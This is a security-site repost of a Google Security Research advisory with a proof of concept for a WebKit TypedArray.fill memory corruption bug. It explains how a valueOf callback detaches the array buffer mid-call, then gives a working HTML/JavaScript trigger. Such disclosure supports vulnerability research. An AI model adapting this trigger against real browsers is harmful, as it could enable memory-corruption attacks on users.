首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebKit - TypedArray.fill Memory Corruption
来源:Google Security Research 作者:Google 发布时间:2016-08-09  
<!--
There is a bug in TypedArray.fill that can be used to write to an absolute pointer.
 
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:
 
    unsigned length = thisObject->length();
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
 
    if (end < begin)
        return JSValue::encode(exec->thisValue());
 
    if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
        return JSValue::encode(jsUndefined());
 
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
 
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).
 
Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
-->
 
<html>
<body>
<script>
 
function f(){
   try{
   alert("t");
   postMessage("test", "http://127.0.0.1", [q])
   alert(a.byteLength);
   alert(q.byteLength);
  } catch(e){
     alert(e.message);
   alert(a.byteLength)
   alert(q.byteLength);
  }
   return 0x12345678;
}
 
alert(Date);
 
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
 
  // alert(q.byteLength);
var t = [];
 
try{
    a.fill(0x12, o, 0x77777777);
} catch(e){
 
    alert(e.message);
 
}
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AppArmor securityfs < 4.8 - aa
·PhpMyAdmin 4.6.2 - Post-Auth R
·Easy File Sharing Web Server 7
·Halliburton LogView Pro 9.7.5
·Drupal Module Coder < 7.x-1.3
·SMB Delivery Module
·VUPlayer 2.49 - (.pls) Stack B
·zFTP Client 20061220 - (Connec
·Barracuda Web App Firewall/Loa
·Kodi Web Server 16.1 - Denial
·Zortam Media Studio 20.60 Buff
·NUUO NVRmini 2 3.0.8 - Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved